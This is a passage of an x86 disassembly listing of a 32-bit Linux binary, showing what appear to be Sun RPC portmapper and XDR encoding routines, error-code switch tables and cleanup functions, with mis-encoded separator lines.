; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806492C:				; CODE XREF: sub_80648D8+16j
					; DATA XREF: sub_80648D8+20o
		mov	edx, [ebx]	; case 0x3
		mov	ecx, [ebx+4]
		mov	[eax+1Ch], edx
		mov	[eax+20h], ecx
		jmp	short loc_806496C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806493C:				; CODE XREF: sub_80648D8+16j
					; DATA XREF: sub_80648D8+20o
		mov	edx, [eax+1Ch]	; case 0x4
		mov	ecx, [eax+20h]
		mov	[ebx], edx
		mov	[ebx+4], ecx
		jmp	short loc_806496C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806494C:				; CODE XREF: sub_80648D8+16j
					; DATA XREF: sub_80648D8+20o
		mov	edx, [eax+8]	; case 0x2
		mov	[ebx], edx
		mov	edx, [eax+0Ch]
		mov	[ebx+4], edx
		mov	edx, [eax+10h]
		mov	[ebx+8], edx
		mov	edx, [eax+14h]
		mov	[ebx+0Ch], edx
		jmp	short loc_806496C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064968:				; CODE XREF: sub_80648D8+14j
		xor	eax, eax	; default
		jmp	short loc_8064971
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806496C:				; CODE XREF: sub_80648D8+3Fj
					; sub_80648D8+4Fj ...
		mov	eax, 1

loc_8064971:				; CODE XREF: sub_80648D8+92j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_80648D8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064978	proc near		; DATA XREF: .data:080791D0o

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [esi+8]
		cmp	dword ptr [ebx+4], 0
		jz	short loc_8064994
		mov	eax, [ebx]
		push	eax
		call	close
		add	esp, 4

loc_8064994:				; CODE XREF: sub_8064978+Fj
		mov	edx, [ebx+3Ch]
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_80649A9
		lea	eax, [ebx+38h]
		push	eax
		mov	eax, [edx+1Ch]
		call	eax
		add	esp, 4

loc_80649A9:				; CODE XREF: sub_8064978+23j
		push	ebx
		call	free
		push	esi
		call	free
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064978	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80649C0	proc near		; CODE XREF: sub_8064074+5Bp
					; sub_8064438+1EBp
		push	ebp
		mov	ebp, esp
		cmp	ds:dword_807E754, 0
		jnz	short loc_80649D6
		call	sub_8065C48
		mov	ds:dword_807E754, eax

loc_80649D6:				; CODE XREF: sub_80649C0+Aj
		mov	eax, ds:dword_807E754
		mov	esp, ebp
		pop	ebp
		retn
sub_80649C0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80649E0	proc near		; CODE XREF: sub_8063B04+86p
					; sub_80641C8+B9p

var_28		= byte ptr -28h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_16], 0
		mov	[ebp+var_14], 0FFFFFFFFh
		mov	word ptr [esi+2], 6F00h
		push	190h
		push	190h
		lea	edx, [ebp+var_14]
		push	edx
		mov	edx, dword_80791DC
		push	edx
		mov	edx, dword_80791D8
		push	edx
		push	2
		push	186A0h
		push	esi
		call	sub_80641C8
		mov	ebx, eax
		add	esp, 20h
		test	ebx, ebx
		jz	short loc_8064AB2
		mov	[ebp+var_10], edi
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_C], ecx
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], 0
		mov	ecx, [ebx+4]
		mov	edx, dword_80791E4
		mov	eax, dword_80791E0
		push	edx
		push	eax
		lea	edx, [ebp+var_16]
		push	edx
		push	offset sub_8064FBC
		lea	edx, [ebp+var_10]
		push	edx
		push	offset sub_8064AC8
		push	3
		push	ebx
		mov	edx, [ecx]
		call	edx
		add	esp, 20h
		test	eax, eax
		jz	short loc_8064A98
		mov	dword_8079220, 0Eh
		mov	edx, [ebx+4]
		push	offset dword_8079224
		push	ebx
		mov	edx, [edx+8]
		call	edx
		add	esp, 8
		jmp	short loc_8064AA9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064A98:				; CODE XREF: sub_80649E0+98j
		cmp	[ebp+var_16], 0
		jnz	short loc_8064AA9
		mov	dword_8079220, 0Fh

loc_8064AA9:				; CODE XREF: sub_80649E0+B5j
					; sub_80649E0+BDj
		mov	edx, [ebx+4]
		push	ebx
		mov	edx, [edx+10h]
		call	edx

loc_8064AB2:				; CODE XREF: sub_80649E0+52j
		mov	word ptr [esi+2], 0
		movzx	eax, [ebp+var_16]
		lea	esp, [ebp+var_28]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80649E0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064AC8	proc near		; DATA XREF: sub_80649E0+87o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_8064B10
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_8064B10
		lea	eax, [ebx+8]
		push	eax
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_8064B10
		lea	eax, [ebx+0Ch]
		push	eax
		push	esi
		call	sub_8064F10
		jmp	short loc_8064B12
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064B10:				; CODE XREF: sub_8064AC8+17j
					; sub_8064AC8+28j ...
		xor	eax, eax

loc_8064B12:				; CODE XREF: sub_8064AC8+45j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064AC8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064B1C	proc near		; CODE XREF: sub_8063D20+207p
					; sub_8064438+3F4p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_806510C
		add	esp, 8
		test	eax, eax
		jnz	short loc_8064B3C
		xor	eax, eax
		jmp	short loc_8064B4F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064B3C:				; CODE XREF: sub_8064B1C+17j
		push	190h
		lea	eax, [ebx+8]
		push	eax
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_80651B8

loc_8064B4F:				; CODE XREF: sub_8064B1C+1Bj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064B1C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064B58	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	8
		push	eax
		push	edx
		call	sub_8065120
		mov	esp, ebp
		pop	ebp
		retn
sub_8064B58	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064B70	proc near

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_8064B1C
		add	esp, 8
		test	eax, eax
		jz	short loc_8064BC5
		lea	eax, [ebx+0Ch]
		push	eax
		push	esi
		call	sub_806510C
		add	esp, 8
		test	eax, eax
		jz	short loc_8064BC5
		mov	eax, [ebx+0Ch]
		test	eax, eax
		jz	short loc_8064BA8
		cmp	eax, 2
		jz	short loc_8064BB4
		jmp	short loc_8064BD8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064BA8:				; CODE XREF: sub_8064B70+2Fj
		mov	eax, [ebx+10h]
		push	eax
		push	esi
		mov	eax, [ebx+14h]
		call	eax
		jmp	short loc_8064BDD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064BB4:				; CODE XREF: sub_8064B70+34j
		lea	eax, [ebx+10h]
		push	eax
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jnz	short loc_8064BCC

loc_8064BC5:				; CODE XREF: sub_8064B70+17j
					; sub_8064B70+28j
		xor	eax, eax
		jmp	short loc_8064BDD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064BCC:				; CODE XREF: sub_8064B70+53j
		lea	eax, [ebx+14h]
		push	eax
		push	esi
		call	sub_8064F10
		jmp	short loc_8064BDD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064BD8:				; CODE XREF: sub_8064B70+36j
		mov	eax, 1

loc_8064BDD:				; CODE XREF: sub_8064B70+42j
					; sub_8064B70+57j ...
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064B70	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064BE8	proc near

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_806510C
		add	esp, 8
		test	eax, eax
		jz	short loc_8064C3C
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_8064C10
		cmp	eax, 1
		jz	short loc_8064C30
		jmp	short loc_8064C3C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064C10:				; CODE XREF: sub_8064BE8+1Dj
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_8064C3C
		lea	eax, [ebx+8]
		push	eax
		push	esi
		call	sub_8064F10
		jmp	short loc_8064C3E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064C30:				; CODE XREF: sub_8064BE8+22j
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_806510C
		jmp	short loc_8064C3E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064C3C:				; CODE XREF: sub_8064BE8+17j
					; sub_8064BE8+24j ...
		xor	eax, eax

loc_8064C3E:				; CODE XREF: sub_8064BE8+43j
					; sub_8064BE8+52j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064BE8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064C48	proc near		; CODE XREF: sub_8063D20+177p
					; sub_8064438+385p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_8064C90
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_806510C
		add	esp, 8
		test	eax, eax
		jz	short loc_8064C90
		cmp	dword ptr [ebx+4], 1
		jnz	short loc_8064C90
		push	0
		push	offset unk_80791E8
		lea	eax, [ebx+0Ch]
		push	eax
		lea	eax, [ebx+8]
		push	eax
		push	esi
		call	sub_806529C
		jmp	short loc_8064C92
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064C90:				; CODE XREF: sub_8064C48+17j
					; sub_8064C48+28j ...
		xor	eax, eax

loc_8064C92:				; CODE XREF: sub_8064C48+45j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064C48	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064C9C	proc near		; CODE XREF: sub_8063B04+188p
					; sub_80641C8+162p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	dword ptr [ebx+4], 0
		mov	dword ptr [ebx+8], 2
		cmp	dword ptr [esi], 0
		jnz	short loc_8064D08
		push	ebx
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_8064D08
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_806510C
		add	esp, 8
		test	eax, eax
		jz	short loc_8064D08
		lea	eax, [ebx+8]
		push	eax
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_8064D08
		lea	eax, [ebx+0Ch]
		push	eax
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_8064D08
		lea	eax, [ebx+10h]
		push	eax
		push	esi
		call	sub_8064F10
		jmp	short loc_8064D0A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064D08:				; CODE XREF: sub_8064C9C+1Cj
					; sub_8064C9C+2Aj ...
		xor	eax, eax

loc_8064D0A:				; CODE XREF: sub_8064C9C+69j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064C9C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064D14	proc near		; CODE XREF: sub_8064DE0+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		cmp	edx, 5		; switch 6 cases 
		ja	short loc_8064D8C ; default
		jmp	ds:off_8064D2C[edx*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
off_8064D2C	dd offset loc_8064D80, offset loc_8064D44, offset loc_8064D50
					; DATA XREF: sub_8064D14+Er
		dd offset loc_8064D5C, offset loc_8064D68, offset loc_8064D74 ;	jump table for switch statement
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064D44:				; CODE XREF: sub_8064D14+Ej
					; DATA XREF: sub_8064D14+18o
		mov	dword ptr [eax], 8 ; case 0x1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064D50:				; CODE XREF: sub_8064D14+Ej
					; DATA XREF: sub_8064D14+18o
		mov	dword ptr [eax], 9 ; case 0x2
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064D5C:				; CODE XREF: sub_8064D14+Ej
					; DATA XREF: sub_8064D14+18o
		mov	dword ptr [eax], 0Ah ; case 0x3
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064D68:				; CODE XREF: sub_8064D14+Ej
					; DATA XREF: sub_8064D14+18o
		mov	dword ptr [eax], 0Bh ; case 0x4
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064D74:				; CODE XREF: sub_8064D14+Ej
					; DATA XREF: sub_8064D14+18o
		mov	dword ptr [eax], 0Ch ; case 0x5
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064D80:				; CODE XREF: sub_8064D14+Ej
					; DATA XREF: sub_8064D14+18o
		mov	dword ptr [eax], 0 ; case 0x0
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064D8C:				; CODE XREF: sub_8064D14+Cj
		mov	dword ptr [eax], 10h ; default
		mov	dword ptr [eax+4], 0
		mov	[eax+8], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_8064D14	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064DA0	proc near		; CODE XREF: sub_8064DE0+3Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		cmp	edx, 1
		jz	short loc_8064DC0
		jb	short loc_8064DB5
		cmp	edx, 6
		jnz	short loc_8064DCC

loc_8064DB5:				; CODE XREF: sub_8064DA0+Ej
		mov	dword ptr [eax], 6
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064DC0:				; CODE XREF: sub_8064DA0+Cj
		mov	dword ptr [eax], 7
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064DCC:				; CODE XREF: sub_8064DA0+13j
		mov	dword ptr [eax], 10h
		mov	dword ptr [eax+4], 1
		mov	[eax+8], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_8064DA0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064DE0	proc near		; CODE XREF: sub_8063D20+1A0p
					; sub_8064438+3A0p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_8064DFC
		cmp	eax, 1
		jz	short loc_8064E18
		jmp	short loc_8064E24
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064DFC:				; CODE XREF: sub_8064DE0+10j
		cmp	dword ptr [esi+18h], 0
		jnz	short loc_8064E0C
		mov	dword ptr [ebx], 0
		jmp	short loc_8064E68
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064E0C:				; CODE XREF: sub_8064DE0+20j
		push	ebx
		mov	eax, [esi+18h]
		push	eax
		call	sub_8064D14
		jmp	short loc_8064E30
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064E18:				; CODE XREF: sub_8064DE0+15j
		push	ebx
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_8064DA0
		jmp	short loc_8064E30
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064E24:				; CODE XREF: sub_8064DE0+17j
		mov	dword ptr [ebx], 10h
		mov	eax, [esi+8]
		mov	[ebx+4], eax

loc_8064E30:				; CODE XREF: sub_8064DE0+36j
					; sub_8064DE0+42j
		mov	eax, [ebx]
		cmp	eax, 7
		jz	short loc_8064E54
		ja	short loc_8064E40
		cmp	eax, 6
		jz	short loc_8064E48
		jmp	short loc_8064E68
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064E40:				; CODE XREF: sub_8064DE0+57j
		cmp	eax, 9
		jz	short loc_8064E5C
		jmp	short loc_8064E68
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064E48:				; CODE XREF: sub_8064DE0+5Cj
		mov	eax, [esi+10h]
		mov	[ebx+4], eax
		mov	eax, [esi+14h]
		jmp	short loc_8064E65
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064E54:				; CODE XREF: sub_8064DE0+55j
		mov	eax, [esi+10h]
		mov	[ebx+4], eax
		jmp	short loc_8064E68
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064E5C:				; CODE XREF: sub_8064DE0+63j
		mov	eax, [esi+1Ch]
		mov	[ebx+4], eax
		mov	eax, [esi+20h]

loc_8064E65:				; CODE XREF: sub_8064DE0+71j
		mov	[ebx+8], eax

loc_8064E68:				; CODE XREF: sub_8064DE0+28j
					; sub_8064DE0+5Ej ...
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064DE0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064E74	proc near		; CODE XREF: sub_805D3A8+236p
					; sub_805D638+1C2p ...

var_18		= dword	ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_18], 2
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	edx
		mov	esp, ebp
		pop	ebp
		retn
sub_8064E74	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064E94	proc near		; DATA XREF: sub_8063D20+15Ao
		push	ebp
		mov	ebp, esp
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_8064E94	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064EA0	proc near		; CODE XREF: sub_8065020+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_8064EC8
		mov	esp, ebp
		pop	ebp
		retn
sub_8064EA0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064EB4	proc near		; CODE XREF: sub_806505C+18p
					; sub_80651B8+18p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_8064F10
		mov	esp, ebp
		pop	ebp
		retn
sub_8064EB4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064EC8	proc near		; CODE XREF: sub_8064EA0+Bp
					; sub_806510C+Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [edx], 0
		jnz	short loc_8064EE4
		mov	eax, [edx+4]
		push	ecx
		push	edx
		mov	eax, [eax+4]
		call	eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064EE4:				; CODE XREF: sub_8064EC8+Cj
		cmp	dword ptr [edx], 1
		jnz	short loc_8064EF8
		mov	eax, [edx+4]
		push	ecx
		push	edx
		mov	eax, [eax]
		call	eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064EF8:				; CODE XREF: sub_8064EC8+1Fj
		cmp	dword ptr [edx], 2
		jz	short loc_8064F04
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064F04:				; CODE XREF: sub_8064EC8+33j
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_8064EC8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064F10	proc near		; CODE XREF: sub_8064AC8+Dp
					; sub_8064AC8+1Ep ...

